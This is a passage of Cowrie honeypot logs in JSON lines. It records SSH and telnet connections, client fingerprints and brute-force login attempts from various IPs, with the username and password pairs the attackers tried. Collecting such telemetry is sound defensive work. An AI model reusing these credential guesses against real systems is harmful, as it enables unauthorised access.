03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:17.994692Z","src_ip":"27.119.7.6","session":"ae03c7bef694","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:18.794537Z","src_ip":"27.119.7.6","session":"ae03c7bef694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:19.990881Z","src_ip":"27.119.7.6","session":"ae03c7bef694","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":46350,"dst_ip":"10.17.0.5","dst_port":22,"session":"505fde4a3b89","protocol":"ssh","message":"New connection: 27.119.7.6:46350 (10.17.0.5:22) [session: 505fde4a3b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:20.174304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:20.178674Z","src_ip":"27.119.7.6","session":"505fde4a3b89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:20.363765Z","src_ip":"27.119.7.6","session":"505fde4a3b89","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:21.146662Z","src_ip":"27.119.7.6","session":"505fde4a3b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:21.338154Z","src_ip":"27.119.7.6","session":"505fde4a3b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:21.342594Z","src_ip":"27.119.7.6","session":"ad8c79983c69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":39086,"dst_ip":"159.203.135.109","dst_port":22,"session":"b088a5ab35a4","protocol":"ssh","message":"New connection: 195.178.110.218:39086 (159.203.135.109:22) [session: b088a5ab35a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:27.842082Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:27.923533Z","src_ip":"195.178.110.218","session":"b088a5ab35a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":37258,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dc71425ea13","protocol":"ssh","message":"New connection: 159.65.30.211:37258 (10.17.0.5:22) [session: 5dc71425ea13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:46.922753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:46.927130Z","src_ip":"159.65.30.211","session":"5dc71425ea13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:46.996404Z","src_ip":"159.65.30.211","session":"5dc71425ea13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jessica","password":"jessica","message":"login attempt [jessica/jessica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:47.137666Z","src_ip":"159.65.30.211","session":"5dc71425ea13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:48.208863Z","src_ip":"159.65.30.211","session":"5dc71425ea13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":52952,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8537b4a796c","protocol":"ssh","message":"New connection: 2.57.122.208:52952 (10.17.0.5:22) [session: d8537b4a796c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:09:07.478486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:09:07.482534Z","src_ip":"2.57.122.208","session":"d8537b4a796c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:09:07.588184Z","src_ip":"2.57.122.208","session":"d8537b4a796c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:09:07.899208Z","src_ip":"2.57.122.208","session":"d8537b4a796c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:09:09.023057Z","src_ip":"2.57.122.208","session":"d8537b4a796c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.20.210.182","src_port":58844,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f0145d91c7c","protocol":"telnet","message":"New connection: 125.20.210.182:58844 (159.203.135.109:23) [session: 8f0145d91c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:09:28.252604Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":37906,"dst_ip":"159.203.135.109","dst_port":22,"session":"01257c7b9294","protocol":"ssh","message":"New connection: 159.223.94.92:37906 (159.203.135.109:22) [session: 01257c7b9294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:09:29.378525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:09:29.381751Z","src_ip":"159.223.94.92","session":"01257c7b9294","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:09:29.617457Z","src_ip":"159.223.94.92","session":"01257c7b9294","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed@123","message":"login attempt [hamed/hamed@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:09:30.600202Z","src_ip":"159.223.94.92","session":"01257c7b9294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:09:31.843464Z","src_ip":"159.223.94.92","session":"01257c7b9294","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":54584,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6c7122ecc81","protocol":"ssh","message":"New connection: 142.93.139.168:54584 (159.203.135.109:22) [session: b6c7122ecc81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:10:06.636332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:10:06.641362Z","src_ip":"142.93.139.168","session":"b6c7122ecc81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:10:06.722737Z","src_ip":"142.93.139.168","session":"b6c7122ecc81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"info","password":"1q2w3e4r5t","message":"login attempt [info/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:10:06.889164Z","src_ip":"142.93.139.168","session":"b6c7122ecc81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:10:07.972931Z","src_ip":"142.93.139.168","session":"b6c7122ecc81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":39700,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e907d6319a6","protocol":"ssh","message":"New connection: 27.119.7.6:39700 (10.17.0.5:22) [session: 0e907d6319a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:10:26.144872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:10:26.149236Z","src_ip":"27.119.7.6","session":"0e907d6319a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:10:26.335117Z","src_ip":"27.119.7.6","session":"0e907d6319a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anon","password":"12345678","message":"login attempt [anon/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:10:27.112551Z","src_ip":"27.119.7.6","session":"0e907d6319a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:10:28.302944Z","src_ip":"27.119.7.6","session":"0e907d6319a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:10:31.465214Z","src_ip":"125.20.210.182","session":"8f0145d91c7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.216893434524536,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:10:31.469355Z","src_ip":"125.20.210.182","session":"8f0145d91c7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47544,"dst_ip":"159.203.135.109","dst_port":22,"session":"f40fb0306317","protocol":"ssh","message":"New connection: 195.178.110.218:47544 (159.203.135.109:22) [session: f40fb0306317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:11:10.107954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:11:10.112806Z","src_ip":"195.178.110.218","session":"f40fb0306317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:11:10.188329Z","src_ip":"195.178.110.218","session":"f40fb0306317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:11:10.413759Z","src_ip":"195.178.110.218","session":"f40fb0306317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:11:11.490786Z","src_ip":"195.178.110.218","session":"f40fb0306317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35348,"dst_ip":"10.17.0.5","dst_port":22,"session":"93a170dfe10f","protocol":"ssh","message":"New connection: 2.57.122.208:35348 (10.17.0.5:22) [session: 93a170dfe10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:11:23.123289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:11:23.170027Z","src_ip":"2.57.122.208","session":"93a170dfe10f","protocol":"ssh"}
